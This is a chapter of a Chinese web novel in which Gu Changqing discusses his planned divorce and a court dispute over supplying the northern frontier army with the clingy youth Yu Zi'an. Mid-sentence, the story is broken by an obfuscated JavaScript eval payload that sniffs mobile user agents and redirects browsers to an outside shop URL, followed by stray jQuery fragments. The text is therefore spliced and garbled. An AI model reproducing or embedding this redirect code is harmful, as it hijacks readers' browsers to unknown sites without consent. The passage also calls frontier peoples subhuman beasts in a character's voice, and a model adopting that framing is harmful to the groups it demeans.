顾长卿看着突然又蹭到了自己身边的虞子安,略微有些头疼的拍了拍他的肩,但是趴在他肩头的少年却像是丝毫没有察觉到似的,仍旧挂在顾长卿的身上,就像是一个巨大的人形挂件。
顾长卿微微推了一下,没推动虞子安,便也没有再动作,而是仍旧摇头道:“暂且不必,我之所以还留在齐国公府之中,一是避免一些流言提前从齐国公府中传出。”
“如今只要我尚且在齐国公府中住着,那不论是传出我欲与齐云疏和离的传闻又或是其它消息,旁人也只会以为我不过是说说罢了。”
“在明年春末之前,我不希望因为自己的事情引起外人过多的关注,所以只要齐云疏不要继续踩到我的底线,我会在秋水苑中留到明年春末和离之时。”
仍旧一手抱住顾长卿仿若个人形挂件的虞子安,在顾长卿看不见的角度,一双漂亮的猫瞳黑沉似水,又像是正在捕猎前的猫科动物一般,微微眯起,似乎正在思考些什么。
半晌之后,顾长卿才听到挂在自己身上的虞子安用闷闷的声音问:“……是不是因为镇北军?”
顾长卿闻言沉默了下,没有应答,但虞子安却像是越发笃定了一般道:“我知道,长卿哥哥你一定是为了镇北军,为了顾老将军还有你的大哥顾长风。”
或许是知道这样的话题不宜由自己这等身份的人说出口,所以虞子安的声音也压得极低,他说:“……我都听说了,前些日子北疆奏报连连,因今岁接连大旱,所以疆外异动频繁,镇北军已然在高强度戒备,防备随时有可能在秋冬偷袭北疆关口的各个北疆部族。”
“……这两日朝上都还在争论此事,因为陛下想要再增派粮草辎重,但户部称要挤出两月份额的粮草辎重已然是拼尽了户部全力,如若再增派粮草辎重,倒不如将这些粮草赠予疆外诸部,也免得大战一场劳民伤财……”
顾长卿全然没有想到,户部尚书竟然会在大朝会上出此言论,他一时控制不住自己的情绪,咬牙怒道:“无耻之尤!他这是要我大胤朝向疆外夷民俯首!堂堂户部尚书六部主官……”
作为曾经在北疆长到十岁上的顾长卿,他深深地知道疆外诸部对于大胤朝究竟怀抱着怎样的狼子野心——在那些夷民的眼中,大胤朝的百姓就如同牛羊一般,宰割起来毫无人性。
自大胤朝建国至今,这些北疆外的诸部只是慑于镇守边关的北疆军的武力,所以才不敢大举进犯——但即便如此,顾长卿幼年时也曾在北疆战场上见到过许多残忍至极的画面。
那些北疆之外全无教化的夷民,与大胤朝的百姓比起来,根本野性未退,犹如禽兽一般。
他们随时随地都会伸出自己尖锐的獠牙利爪,一旦被他们窥伺到可以抓住的机会,他们就会伸出自己的利爪,毫不犹豫地将敌人彻底撕个粉碎!
面对这样的对手,你不能示敌以弱,只能用最强大的姿态去面对他,让那些疆外夷民被打服、打怕,这样那些疆外的夷民才能够缩起自己的爪子,老老实实的在疆外待着不敢进犯。
而如果大胤朝当真像是户部尚书所说的一样,将原本要给北疆军的粮草辎重直接送给疆外的诸部……
顾长卿敢肯定,那些疆外的野兽们一定会毫不犹豫地直接上前,将那些粮草辎重分食殆尽。
不仅如此,他们还会发现——自己好像甚至不需要真正的出战,只是摆出要骚扰攻坚的姿态就能够得到这样丰厚的粮草辎重。
最初他们或许还只是会继续骚扰要求获得更多的食物与优待,只要随着时间的推移,这些关外的夷民诸部就会越来越得寸进尺——那些蛮夷之人不会懂得什么叫做适可而止。
他们只会觉得,大胤朝如此物资丰美,为什么不能成为他们的领土?
一旦到得那时,大胤朝廷早已经习惯了送出物资换取和平,军队又长久未战,且因朝廷不断求和失去锐气……而疆外的那些蛮夷诸部却因为想要掠夺大胤朝丰美的物资和土地战意昂扬……
顾长卿简直无法想象到那时会是怎样的一副场景,或许……就是一场生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419658|141344||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灵涂炭。
他几乎是一把抓住了虞子安的手臂,将他推到身前,一双眼死死地看着眼前的少年,问:“陛下呢?陛下是怎么说的?!”
虞子安被顾长卿突如其来的激动吓了一跳,下一秒,在看到顾长卿略微发白的脸色,立刻一把抱住了顾长卿,用他刻意撒娇的语气道:“陛下当然没有答应啦!”
“长卿哥哥你不必担心,陛下不仅没有答应,还怒斥了户部尚书’此实为卖国之举’……”
说到这里,虞子安的声音又顿了顿,道:“但当今户部尚书根基深厚,在朝中朋党无数,陛下也拿他一时无法……”
顾长卿听到此处,原本紧绷的身体终于略微放松了些许。
此前在春风楼中与裴度会面时,他也曾听裴度提及陛下如今新帝登基,多有艰难,但他彼时还未想到陛下究竟会艰难到何等地步。
直到听虞子安讲出这两日朝中的君臣对抗,他才知道陛下先前能够为镇北军强行挤出两个月的军粮辎重究竟已经有多么的不容易……
而在顾长卿思考时,将他抱
在怀里的虞子安也正眼眸微黯,待到察觉到怀里的人略微放松了之后,他才忽而开口问:“……长卿哥哥,你是不是想要回到北疆?”
原本已经放松下身体的顾长卿在听到虞子安的这一句提问之后,忽而浑身一震,然后静默无声的没有回答。
虽说他没有回答,但是虞子安其实早已经读懂了他真正的答案——顾氏家训,顾家男儿,生死守国门。
他自小是听着父亲和长兄的这句话长大的,他也曾经亲眼见过北疆的苦寒与疆外的蛮夷之乱,他知道自己是顾家子弟,身上肩负着为大胤朝的百姓镇守这方平安的责任。
自小,他就做好了要在北疆成长的准备。
却从未想过,他会在十岁那年,被送回了京城之中,面对之后这般的生活。
面对顾长卿的沉默,虞子安忽而轻声道:“……长卿哥哥,等之后,我与你一同去北疆可好?”